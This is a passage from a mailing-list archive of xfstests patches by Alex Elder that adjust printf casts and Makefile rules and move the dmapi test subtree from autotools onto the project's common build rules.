again: } if (bmapx[x].bmv_oflags & 1) { fprintf(stderr, "FOUND ONE %lld %lld %x\n", - bmapx[x].bmv_offset, bmapx[x].bmv_length,bmapx[x].bmv_oflags); + (long long) bmapx[x].bmv_offset, + (long long) bmapx[x].bmv_length, + bmapx[x].bmv_oflags); foundone = 1; foundany = 1; } Index: b/src/xfsctl.c =================================================================== --- a/src/xfsctl.c +++ b/src/xfsctl.c @@ -16,6 +16,8 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include + #include #include From aelder@sgi.com Fri Mar 4 13:34:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JYmFB184510 for ; Fri, 4 Mar 2011 13:34:48 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay1.corp.sgi.com (Postfix) with ESMTP id 196C28F8033; Fri, 4 Mar 2011 11:37:37 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24JbaU9004815; Fri, 4 Mar 2011 13:37:36 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24JbaaN004813; Fri, 4 Mar 2011 13:37:36 -0600 From: Alex Elder Message-Id: <201103041937.p24JbaaN004813@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:37:36 -0600 To: xfs@oss.sgi.com Subject: [PATCH 1/2] xfstests: a few fixes to Makefile User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean A few changes to the Makefile: - Separate the rules for "configure" and "include/builddefs" into two parts, each of which generate one of the files - Get rid of the rule for include/config.h, and group it with the one for include/builddefs (the same command creates both files) - Use the $(Q) convention in a few missed spots - Stop a DMAPI-only comment from getting echoed on default build Signed-off-by: Alex Elder --- Makefile | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) Index: b/Makefile =================================================================== --- a/Makefile +++ b/Makefile @@ -44,9 +44,9 @@ ifeq ($(HAVE_BUILDDEFS), no) $(Q)$(MAKE) $(MAKEOPTS) $@ else $(Q)$(MAKE) $(MAKEOPTS) $(SUBDIRS) +ifeq ($(HAVE_DMAPI), true) # automake doesn't always support "default" target # so do dmapi make explicitly with "all" -ifeq ($(HAVE_DMAPI), true) $(Q)$(MAKE) $(MAKEOPTS) -C $(TOPDIR)/dmapi all endif endif @@ -60,22 +60,19 @@ else clean: # if configure hasn't run, nothing to clean endif -configure include/builddefs: +configure: configure.in autoheader autoconf + +include/builddefs include/config.h: configure ./configure \ --libexecdir=/usr/lib \ --enable-lib64=yes -include/config.h: include/builddefs -## Recover from the removal of $@ - @if test -f $@; then :; else \ - rm -f include/builddefs; \ - $(MAKE) $(AM_MAKEFLAGS) include/builddefs; \ - fi - +ifeq ($(HAVE_DMAPI), true) $(DMAPI_MAKEFILE): - cd $(TOPDIR)/dmapi/ ; ./configure + $(Q)cd $(TOPDIR)/dmapi && ./configure +endif aclocal.m4:: aclocal --acdir=`pwd`/m4 --output=$@ @@ -97,5 +94,5 @@ install-dev install-lib: $(MAKE) $(MAKEOPTS) -C $* install realclean distclean: clean - rm -f $(LDIRT) $(CONFIGURE) - rm -rf autom4te.cache Logs + $(Q)rm -f $(LDIRT) $(CONFIGURE) + $(Q)rm -rf autom4te.cache Logs From aelder@sgi.com Fri Mar 4 13:34:50 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JYoJD184523 for ; Fri, 4 Mar 2011 13:34:50 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay3.corp.sgi.com (Postfix) with ESMTP id 51C06AC001; Fri, 4 Mar 2011 11:37:42 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24JbfaN004822; Fri, 4 Mar 2011 13:37:41 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24Jbfh5004820; Fri, 4 Mar 2011 13:37:41 -0600 From: Alex Elder Message-Id: <201103041937.p24Jbfh5004820@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:37:41 -0600 To: xfs@oss.sgi.com Subject: [PATCH 2/2] xfstests: some refinements on "make depend" User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Make it so "make depend" is a generic target, like "make clean". Each Makefile has a "depend" target that indicates whether making dependencies means creating ".dep" or creating ".ltdep" (or, I suppose, both, though none do that right now). Both files get created even if there are no CFILES to scan (to ensure the target up-to-date). The "default" target now depends on "depend" (there is no "ltdepend" any more). Remove the "depend" and "ltdepend" definitions from the "buildrules" file; only the actual generated files (".dep" and ".ltdep") remain as generic targets. The "depend' target is still defined as phony. Do a shell trick when expanding the value of CFILES, to avoid a problem that occurs if it is created by "make" by concatentating two empty strings. The problem was that in that case CFILES will contain a space, and that wasn't getting treated as empty as desired. Make the rule for tool/lib dependencies more generic, to reflect the general desire that "lib" subdirectories need to be built before things in the "tool" subdirectories. Signed-off-by: Alex Elder --- Makefile | 4 +++- include/buildrules | 31 +++++++++++++++++++++---------- lib/Makefile | 4 +++- ltp/Makefile | 2 ++ src/Makefile | 2 ++ src/aio-dio-regress/Makefile | 2 ++ 6 files changed, 33 insertions(+), 12 deletions(-) Index: b/Makefile =================================================================== --- a/Makefile +++ b/Makefile @@ -52,7 +52,7 @@ endif endif # tool/lib dependencies -src ltp: lib +$(TOOL_SUBDIRS): $(LIB_SUBDIRS) ifeq ($(HAVE_BUILDDEFS), yes) include $(BUILDRULES) @@ -77,6 +77,8 @@ endif aclocal.m4:: aclocal --acdir=`pwd`/m4 --output=$@ +depend: include/builddefs $(addsuffix -depend,$(SUBDIRS)) + install: default $(addsuffix -install,$(SUBDIRS)) $(INSTALL) -m 755 -d $(PKG_LIB_DIR) $(INSTALL) -m 755 check $(PKG_LIB_DIR) Index: b/include/buildrules =================================================================== --- a/include/buildrules +++ b/include/buildrules @@ -6,13 +6,20 @@ _BUILDRULES_INCLUDED_ = 1 include $(TOPDIR)/include/builddefs +depend: $(addsuffix -depend,$(SUBDIRS)) + +%-depend: + $(Q)$(MAKE) $(MAKEOPTS) -q -C $* depend || \ + $(MAKE) $(MAKEOPTS) -C $* depend + clean clobber : $(addsuffix -clean,$(SUBDIRS)) $(Q)rm -f $(DIRT) $(Q)rm -fr .libs .ltdep .dep %-clean: @echo "Cleaning $*" - $(Q)$(MAKE) $(MAKEOPTS) -q -C $* clean || $(MAKE) $(MAKEOPTS) -C $* clean + $(Q)$(MAKE) $(MAKEOPTS) -q -C $* clean || \ + $(MAKE) $(MAKEOPTS) -C $* clean # Never blow away subdirs ifdef SUBDIRS @@ -71,21 +78,25 @@ endif # _BUILDRULES_INCLUDED_ $(_FORCE): # dependency build is automatic, relies on gcc -MM to generate. -.PHONY : depend ltdepend +.PHONY : depend MAKEDEP := $(MAKEDEPEND) $(CFLAGS) -ltdepend: .ltdep - .ltdep: $(CFILES) $(HFILES) @echo " [LTDEP]" - $(Q)[ -n "$(CFILES)" ] && \ - $(MAKEDEP) $(CFILES) | $(SED) -e 's,^\([^:]*\)\.o,\1.lo,' > .ltdep - -depend: .dep + $(Q)if [ -n "$$( echo $(CFILES))" ]; then \ + $(MAKEDEP) $(CFILES) | \ + $(SED) -e 's,^\([^:]*\)\.o,\1.lo,' > .ltdep; \ + else \ + cp /dev/null .ltdep; \ + fi .dep: $(CFILES) $(HFILES) @echo " [DEP]" - $(Q)[ -n "$(CFILES)" ] && \ - $(MAKEDEP) $(CFILES) | $(SED) -e 's,^\([^:]*\)\.o,\1,' > .dep + $(Q)if [ -n "$$( echo $(CFILES))" ]; then \ + $(MAKEDEP) $(CFILES) | \ + $(SED) -e 's,^\([^:]*\)\.o,\1,' > .dep; \ + else \ + cp /dev/null .dep; \ + fi Index: b/lib/Makefile =================================================================== --- a/lib/Makefile +++ b/lib/Makefile @@ -19,10 +19,12 @@ CFILES = dataascii.c databin.c datapid.c str_to_bytes.c tlibio.c write_log.c \ random.c -default: ltdepend $(LTLIBRARY) +default: depend $(LTLIBRARY) include $(BUILDRULES) +depend: .ltdep + install install-dev: default -include .ltdep Index: b/ltp/Makefile =================================================================== --- a/ltp/Makefile +++ b/ltp/Makefile @@ -29,6 +29,8 @@ endif default: depend $(TARGETS) +depend: .dep + include $(BUILDRULES) $(TARGETS): $(LIBTEST) Index: b/src/Makefile =================================================================== --- a/src/Makefile +++ b/src/Makefile @@ -61,6 +61,8 @@ LDIRT = $(TARGETS) default: depend $(TARGETS) $(SUBDIRS) +depend: .dep + include $(BUILDRULES) $(TARGETS): $(LIBTEST) Index: b/src/aio-dio-regress/Makefile =================================================================== --- a/src/aio-dio-regress/Makefile +++ b/src/aio-dio-regress/Makefile @@ -10,6 +10,8 @@ LLDLIBS = -laio -lpthread default: depend $(TARGETS) +depend: .dep + include $(BUILDRULES) $(TARGETS): From aelder@sgi.com Fri Mar 4 13:35:00 2011 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JYvh6184543 for ; Fri, 4 Mar 2011 13:34:57 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay3.corp.sgi.com (Postfix) with ESMTP id 01272AC001; Fri, 4 Mar 2011 11:37:47 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24JblOg004830; Fri, 4 Mar 2011 13:37:47 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24Jbk5W004828; Fri, 4 Mar 2011 13:37:46 -0600 From: Alex Elder Message-Id: <201103041937.p24Jbk5W004828@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:37:46 -0600 To: xfs@oss.sgi.com Subject: [PATCH] xfstests: rework "dmapi" subtree build mechanism User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean The "dmapi" subtree was developed separate from and sort of wedged into the rest of the "xfstests" code. As a result, it has a lot of build infrastructure that's just different from the unified way used for everything else. This patch changes all that, making the "dmapi" subtree be a more normal component of "xfstests" with respect to its build process. This involves removing all the cruft needed and used by the dmapi "configure" script, and replacing each "Makefile.am" file with a proper "Makefile" that includes a simple set of rules that are compatible with the broader "xfstests" build. The result is a much cleaner, consistent build. It also deletes a considerable amount of code. Note: My patches normally keep files in sorted order, but in this case I have rearranged them so all the *new* and *changed* files are first, leaving deleted files at the end (starting with "dmapi/Makefile.am"). Signed-off-by: Alex Elder --- .gitignore | 21=20 Makefile | 19=20 dmapi/Makefile | 16=20 dmapi/Makefile.am | 7=20 dmapi/Makefile.in | 577 - dmapi/README.build | 11=20 dmapi/aclocal.m4 | 7227 ------------- dmapi/config.guess | 1460 -- dmapi/config.sub | 1549 -- dmapi/configure |20709 ------------------------------= --------- dmapi/configure.ac | 42=20 dmapi/depcomp | 522=20 dmapi/install-sh | 322=20 dmapi/ltmain.sh | 6402 ------------ dmapi/missing | 360=20 dmapi/src/Makefile | 21=20 dmapi/src/Makefile.am | 8=20 dmapi/src/Makefile.in | 459=20 dmapi/src/common/Makefile | 22=20 dmapi/src/common/Makefile.am | 3=20 dmapi/src/common/Makefile.in | 453=20 dmapi/src/common/cmd/Makefile | 30=20 dmapi/src/common/cmd/Makefile.am | 9=20 dmapi/src/common/cmd/Makefile.in | 473=20 dmapi/src/common/lib/Makefile | 30=20 dmapi/src/common/lib/Makefile.am | 10=20 dmapi/src/common/lib/Makefile.in | 453=20 dmapi/src/sample_hsm/Makefile | 31=20 dmapi/src/sample_hsm/Makefile.am | 11=20 dmapi/src/sample_hsm/Makefile.in | 487=20 dmapi/src/simple/Makefile | 32=20 dmapi/src/simple/Makefile.am | 8=20 dmapi/src/simple/Makefile.in | 482=20 dmapi/src/suite1/Makefile | 18=20 dmapi/src/suite1/Makefile.am | 3=20 dmapi/src/suite1/Makefile.in | 453=20 dmapi/src/suite1/cmd/Makefile | 55=20 dmapi/src/suite1/cmd/Makefile.am | 64=20 dmapi/src/suite1/cmd/Makefile.in | 940 - dmapi/src/suite2/Makefile | 18=20 dmapi/src/suite2/Makefile.am | 3=20 dmapi/src/suite2/Makefile.in | 453=20 dmapi/src/suite2/src/Makefile | 38=20 dmapi/src/suite2/src/Makefile.am | 26=20 dmapi/src/suite2/src/Makefile.in | 579 - include/builddefs.in | 1=20 46 files changed, 316 insertions(+), 44601 deletions(-) Index: b/.gitignore =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/.gitignore +++ b/.gitignore @@ -12,27 +12,6 @@ include/config.h include/config.h.in lib/.libs =20 -dmapi/Makefile -dmapi/config.log -dmapi/config.status -dmapi/libtool -dmapi/src/Makefile -dmapi/src/common/Makefile -dmapi/src/common/cmd/.deps -dmapi/src/common/cmd/Makefile -dmapi/src/common/lib/.deps -dmapi/src/common/lib/Makefile -dmapi/src/sample_hsm/.deps -dmapi/src/sample_hsm/Makefile -dmapi/src/simple/.deps -dmapi/src/simple/Makefile -dmapi/src/suite1/Makefile -dmapi/src/suite1/cmd/.deps -dmapi/src/suite1/cmd/Makefile -dmapi/src/suite2/Makefile -dmapi/src/suite2/src/.deps -dmapi/src/suite2/src/Makefile - ltp/aio-stress ltp/doio ltp/fsstress Index: b/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/Makefile +++ b/Makefile @@ -30,25 +30,19 @@ LSRCFILES =3D configure configure.in acloc LDIRT =3D config.log .ltdep .dep config.status config.cache confdefs.h= \ =09conftest* check.log check.time =20 -ifeq ($(HAVE_DMAPI), true) -DMAPI_MAKEFILE =3D dmapi/Makefile -endif - LIB_SUBDIRS =3D include lib TOOL_SUBDIRS =3D ltp src m4 +ifeq ($(HAVE_DMAPI), true) +TOOL_SUBDIRS +=3D dmapi +endif =20 SUBDIRS =3D $(LIB_SUBDIRS) $(TOOL_SUBDIRS) =20 -default: include/builddefs include/config.h $(DMAPI_MAKEFILE) new rema= ke check $(TESTS) +default: include/builddefs include/config.h new remake check $(TESTS) ifeq ($(HAVE_BUILDDEFS), no) =09$(Q)$(MAKE) $(MAKEOPTS) $@ else =09$(Q)$(MAKE) $(MAKEOPTS) $(SUBDIRS) -ifeq ($(HAVE_DMAPI), true) -=09# automake doesn't always support "default" target=20 -=09# so do dmapi make explicitly with "all" -=09$(Q)$(MAKE) $(MAKEOPTS) -C $(TOPDIR)/dmapi all -endif endif =20 # tool/lib dependencies @@ -69,11 +63,6 @@ include/builddefs include/config.h: conf --libexecdir=3D/usr/lib \ --enable-lib64=3Dyes =20 -ifeq ($(HAVE_DMAPI), true) -$(DMAPI_MAKEFILE): -=09$(Q)cd $(TOPDIR)/dmapi && ./configure -endif - aclocal.m4:: =09aclocal --acdir=3D`pwd`/m4 --output=3D$@ =20 Index: b/dmapi/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/Makefile @@ -0,0 +1,16 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D .. + +include $(TOPDIR)/include/builddefs + +SUBDIRS =3D src + +default: $(SUBDIRS) + +include $(BUILDRULES) + +install: default + Index: b/dmapi/src/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/Makefile @@ -0,0 +1,21 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../.. + +include $(TOPDIR)/include/builddefs + +LIB_SUBDIRS =3D common +TOOL_SUBDIRS =3D sample_hsm simple suite1 suite2 + +SUBDIRS =3D $(LIB_SUBDIRS) $(TOOL_SUBDIRS) + +default: $(SUBDIRS) + +$(TOOL_SUBDIRS): $(LIB_SUBDIRS) + +include $(BUILDRULES) + +install: default + Index: b/dmapi/src/common/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/common/Makefile @@ -0,0 +1,22 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../.. + +include $(TOPDIR)/include/builddefs + +LIB_SUBDIRS =3D lib +TOOL_SUBDIRS =3D cmd + +SUBDIRS =3D $(LIB_SUBDIRS) $(TOOL_SUBDIRS) + +default: $(SUBDIRS) + +$(TOOL_SUBDIRS): $(LIB_SUBDIRS) + +include $(BUILDRULES) + +install: default + +install-dev: Index: b/dmapi/src/common/cmd/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/common/cmd/Makefile @@ -0,0 +1,30 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../../.. + +include $(TOPDIR)/include/builddefs + +TARGETS =3D read_invis set_region set_return_on_destroy write_invis + +CFILES =3D $(TARGETS:=3D.c) +LDIRT =3D $(TARGETS) + +CFLAGS +=3D -I.. -I/usr/include/xfs + +LLDLIBS =3D $(TOPDIR)/dmapi/src/common/lib/libdmtest.la $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): $(LLDLIBS) +=09@echo " [CC] $@" +=09$(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep Index: b/dmapi/src/common/lib/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/common/lib/Makefile @@ -0,0 +1,30 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../../.. + +include $(TOPDIR)/include/builddefs + +LTLIBRARY =3D libdmtest.la + +LTLDFLAGS =3D -static + +LT_CURRENT =3D 1 +LT_REVISION =3D 0 +LT_AGE =3D 0 + +CFILES =3D find_session.c print.c stubs.c util.c +HFILES =3D hsm.h dmport.h + +CFLAGS +=3D -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +default: depend $(LTLIBRARY) + +depend: .ltdep + +include $(BUILDRULES) + +install install-dev: default + +-include .ltdep Index: b/dmapi/src/sample_hsm/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/sample_hsm/Makefile @@ -0,0 +1,31 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../.. + +include $(TOPDIR)/include/builddefs + +TARGETS =3D migfind migin migout mls mrmean wbee + +CFILES =3D $(TARGETS:=3D.c) +LDIRT =3D $(TARGETS) + +CFLAGS +=3D -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +LLDLIBS =3D $(TOPDIR)/dmapi/src/common/lib/libdmtest.la $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): $(LLDLIBS) +=09@echo " [CC] $@" +=09$(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep + Index: b/dmapi/src/simple/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/simple/Makefile @@ -0,0 +1,32 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../.. + +include $(TOPDIR)/include/builddefs + +TARGETS =3D dm_create_session dm_destroy_session dm_find_eventmsg \ +=09=09dm_getall_sessions dm_getall_tokens dm_query_session + +CFILES =3D $(TARGETS:=3D.c) +LDIRT =3D $(TARGETS) + +CFLAGS +=3D -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +LLDLIBS =3D $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): +=09@echo " [CC] $@" +=09$(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep + Index: b/dmapi/src/suite1/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/suite1/Makefile @@ -0,0 +1,18 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../.. + +include $(TOPDIR)/include/builddefs + +SUBDIRS =3D cmd + +default: $(SUBDIRS) + +include $(BUILDRULES) + +install: default + +install-dev: + Index: b/dmapi/src/suite1/cmd/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/suite1/cmd/Makefile @@ -0,0 +1,55 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../../.. + +include $(TOPDIR)/include/builddefs + +# things needing -ldm -lhandle -ldmtest +DM_TARGS =3D test_assumption get_eventlist set_eventlist set_disp \ +=09=09get_region get_dmattr set_dmattr remove_dmattr \ +=09=09probe_hole probe_punch_xfsctl_hole punch_hole \ +=09=09get_fileattr sync_by_handle getall_dmattr \ +=09=09set_fileattr path_to_handle path_to_fshandle \ +=09=09get_mountinfo getall_disp get_events dm_handle \ +=09=09handle_to_fshandle get_config_events get_allocinfo \ +=09=09create_userevent request_right release_right \ +=09=09upgrade_right query_right downgrade_right \ +=09=09obj_ref_hold obj_ref_rele obj_ref_query print_event \ +=09=09get_dirattrs + +# things needing -ldm -lhandle +NT_TARGS =3D fd_to_handle handle_to_path init_service pending \ +=09=09print_fshandle respond_event + +# things needing -ldm -ldmtest +NTDM_TARGS =3D make_sparse randomize_file rwt struct_test + +# things left out for some reason... +UNUSED_TARGS =3D make_rt_sparse security_hole2 security_hole + +TARGETS =3D $(DM_TARGS) $(NT_TARGS) $(NTDM_TARGS) link_test + +CFILES =3D $(TARGETS:=3D.c) +LDIRT =3D $(TARGETS) + +CFLAGS +=3D -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +LLDLIBS =3D $(TOPDIR)/dmapi/src/common/lib/libdmtest.la $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): $(LLDLIBS) +=09@echo " [CC] $@" +=09$(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep + + Index: b/dmapi/src/suite2/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/suite2/Makefile @@ -0,0 +1,18 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../.. + +include $(TOPDIR)/include/builddefs + +SUBDIRS =3D src + +default: $(SUBDIRS) + +include $(BUILDRULES) + +install: default + +install-dev: + Index: b/dmapi/src/suite2/src/Makefile =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- /dev/null +++ b/dmapi/src/suite2/src/Makefile @@ -0,0 +1,38 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR =3D ../../../.. + +include $(TOPDIR)/include/builddefs + +TARGETS =3D test_rights test_fileattr test_hole test_dmattr \ +=09=09test_eventlist test_region test_bulkall \ +=09=09test_bulkattr send_msg dm_test_daemon test_invis \ +=09=09invis_test region_test test_efault mmap + +# things left out for some reason... +UNUSED_TARGS =3D check_dmapi.c mmap_cp.c mm_fill.c + +CFILES =3D $(TARGETS:=3D.c) +LDIRT =3D $(TARGETS) + +CFLAGS +=3D -I.. -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +LLDLIBS =3D $(TOPDIR)/dmapi/src/common/lib/libdmtest.la $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): $(LLDLIBS) +=09@echo " [CC] $@" +=09$(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep + + Index: b/include/builddefs.in =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 